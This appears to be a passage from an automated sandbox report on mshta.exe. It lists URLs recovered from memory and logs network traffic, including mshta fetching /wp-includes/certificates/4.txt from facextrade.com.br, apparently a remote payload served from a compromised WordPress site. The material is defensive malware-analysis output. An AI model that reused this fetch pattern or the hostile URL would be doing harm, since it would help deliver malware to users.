Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotc0?t
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eoth0?t
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eott
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Source: mshta.exe, 00000008.00000003.963185052.00000000003D6000.00000004.00000020.00020000.00000000.sdmp, css[5].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);ap-gr
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot947MH
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotF0?t
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotq0?t
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1175590048.00000000066D4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Source: mshta.exe, 00000008.00000003.962420581.00000000003C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.963175903.00000000003C1000.00000004.00000020.00020000.00000000.sdmp, css[3].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);gins/;
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot;-ms-opacity:.55;0.6
Source: mshta.exe, 00000008.00000002.1175590048.00000000066D4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170759831.0000000004A50000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174873870.000000000662F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Source: mshta.exe, 00000008.00000003.941921212.000000000036A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.962382953.00000000003CB000.00000004.00000020.00020000.00000000.sdmp, css[4].css.8.dr, css[1].css.8.drString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);e
Source: mshta.exe, 00000008.00000002.1171264478.0000000004A92000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://g.co/dev/maps-no-account
Source: jquery.mobilemenu[1].js.8.drString found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css.8.drString found in binary or memory: http://info.template-help.com/help/
Source: jquery.mobilemenu[1].js.8.drString found in binary or memory: http://jquery.com
Source: font-awesome[1].css.8.drString found in binary or memory: http://kyruus.com
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/bs?t
Source: mshta.exe, 00000008.00000002.1168741185.0000000003DAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/fs?t
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0#038;ver=4
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/&d?t
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2u0?t
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1C:
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)Cb?t
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)Ob?t
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net0D
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, animate-logo[1].css.8.dr, jquery.jplayer.min[1].js.8.drString found in binary or memory: http://opensource.org/licenses/MIT
Source: font-awesome[1].css.8.drString found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: mshta.exe, 00000008.00000002.1174298291.0000000006440000.00000004.00000800.00020000.00000000.sdmp, font-awesome[1].css.8.drString found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 00000008.00000002.1177788065.0000000006ABC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://scripts.sil.org/OFLdO
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://static.panoramio.com.storage.googleapis.com/photos/
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://storage.ie6countdown.com/
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg
Source: mshta.exe, 00000008.00000002.1164472854.000000000023E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.0=1.7.2A0?t
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2$
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2US
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2ez?t
Source: mshta.exe, 00000008.00000002.1167297662.0000000003322000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2ip
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2nz?t
Source: font-awesome[1].css.8.drString found in binary or memory: http://twitter.com/byscuits
Source: font-awesome[1].css.8.drString found in binary or memory: http://twitter.com/fontawesome.
Source: responsive[1].css.8.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, bootstrap.min[1].js.8.drString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: mshta.exe, 00000008.00000003.941885493.0000000000375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171264478.0000000004A92000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.broofa.com
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.8.drString found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.google.com/maps/preview/l
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, jquery.jplayer.min[1].js.8.dr, jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.jplayer.org
Source: mshta.exe, 00000008.00000002.1178564039.0000000006F00000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.macromedia.com
Source: jquery.mousewheel.min[1].js.8.drString found in binary or memory: http://www.mathias-bank.de)
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174340192.0000000006560000.00000004.00000020.00020000.00000000.sdmp, camera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.drString found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.8.drString found in binary or memory: http://www.woothemes.com/flexslider/
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.w.org/
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.w.org/e
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.drString found in binary or memory: https://app.vzaar.com/videos/:id
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cbks0.googleapis.com/cbk?fH
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/apps-themes
Source: mshta.exe, 00000008.00000002.1164631971.0000000000293000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1164606433.0000000000284000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: mshta.exe, 00000008.00000002.1171264478.0000000004A92000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/docs/Web/API/EventTarget/addEventListener
Source: scripts[1].js.8.drString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: mshta.exe, 00000008.00000002.1171264478.0000000004A92000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers
Source: mshta.exe, 00000008.00000003.941885493.0000000000375000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171264478.0000000004A92000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: mshta.exe, 00000008.00000002.1171264478.0000000004A92000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#about_section
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#contatos
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#contatosc
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#estrutura
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#estruturaionmA
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#portfolio_section
Source: mshta.exe, 00000008.00000002.1168551931.0000000003D5F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#portfolio_section00
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#segmentos
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#segmentos.1grad
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#segmentostop
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicos
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicos5d?t
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicosA
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/#servicosx
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/5
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/P/1.1
Source: mshta.exe, 00000008.00000002.1171927701.0000000004B31000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/comments/feed/
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/
Source: mshta.exe, 00000008.00000002.1164723248.00000000002E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/Nd?t
Source: mshta.exe, 00000008.00000002.1168495235.0000000003D40000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/atom/
Source: mshta.exe, 00000008.00000002.1164747316.00000000002F7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/feed/atom/ss
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/q
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.php
Source: mshta.exe, 00000008.00000002.1167137202.000000000324C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.phpustom
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-json/
Source: mshta.exe, 00000008.00000002.1167159155.0000000003257000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/wp-json/contact-form-7/v1
Source: mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://facextrade.com.br/xmlrpc.php?rsd
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://geo0.ggpht.com/cbkpc
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://geo1.ggpht.com/cbk
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://geo2.ggpht.com/cbkX.
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://geo3.ggpht.com/cbklP
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.theme.default.min[1].css.8.dr, owl.carousel.min[1].css.8.dr, owl.carousel[1].js.8.drString found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: mshta.exe, 00000008.00000003.1049858023.0000000003F14000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049748390.0000000003F13000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1050354091.0000000003F1A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1050234556.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049654403.0000000003F12000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1050101585.0000000003F18000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1050006152.0000000003F17000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1169184229.0000000003F1B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1183775879.000000000A35E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1049928037.0000000003F16000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.8.drString found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: animate-logo[1].css.8.drString found in binary or memory: https://github.com/nickpettit/glide
Source: jquery.simplr.smoothscroll.min[1].js.8.drString found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gtranslate.io/
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lh3.ggpht.com/e
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lh4.ggpht.com/i(M
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lh5.ggpht.com/d
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lh6.ggpht.com/s
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://maps.googleapis.com/maps/api/js/GeoPhotoService.SingleImageSearchprH
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.drString found in binary or memory: https://regexper.com/#(http%3A%7Chttps%3A%7C)%5C%2F%5C%2F(player.%7Cwww.%7Capp.)%3F(vimeo%5C.com%7Cy
Source: mshta.exe, 00000008.00000003.954107336.00000000030ED000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166726168.00000000030E3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://s.w.org/images/core/emoji/11/72x72/https://s.w.org/images/core/emoji/11/svg/NatKL$:
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1171781033.0000000004ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secure.comodo.com/CPS0
Source: mshta.exe, 00000008.00000002.1165001422.00000000003BE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://streetviewpixels-pa.googleapis.com/v1/tiled0
Source: mshta.exe, 00000008.00000002.1171264478.0000000004A92000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://support.google.com/fusiontables/answer/9185417).
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/
Source: mshta.exe, 00000008.00000002.1170990770.0000000004A77000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166046423.00000000028FF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 00000008.00000002.1168799608.0000000003E0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2S
Source: mshta.exe, 00000008.00000003.954072472.00000000030E8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166726168.00000000030E3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://twemoji.maxcdn.com/2/wp-exclude-emoji
Source: mshta.exe, 00000008.00000002.1171264478.0000000004A92000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/:id
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/channels/:channel/:id
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.drString found in binary or memory: https://vimeo.com/groups/:group/videos/:id
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.drString found in binary or memory: https://www.youtube.com/watch?v=:id
Source: mshta.exe, 00000008.00000002.1174894484.000000000663E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.drString found in binary or memory: https://youtu.be/:id
Source: C:\Windows\System32\mshta.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\font-awesome[1].cssJump to behavior
Source: unknownDNS traffic detected: queries for: facextrade.com.br
Source: global trafficHTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: */*Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
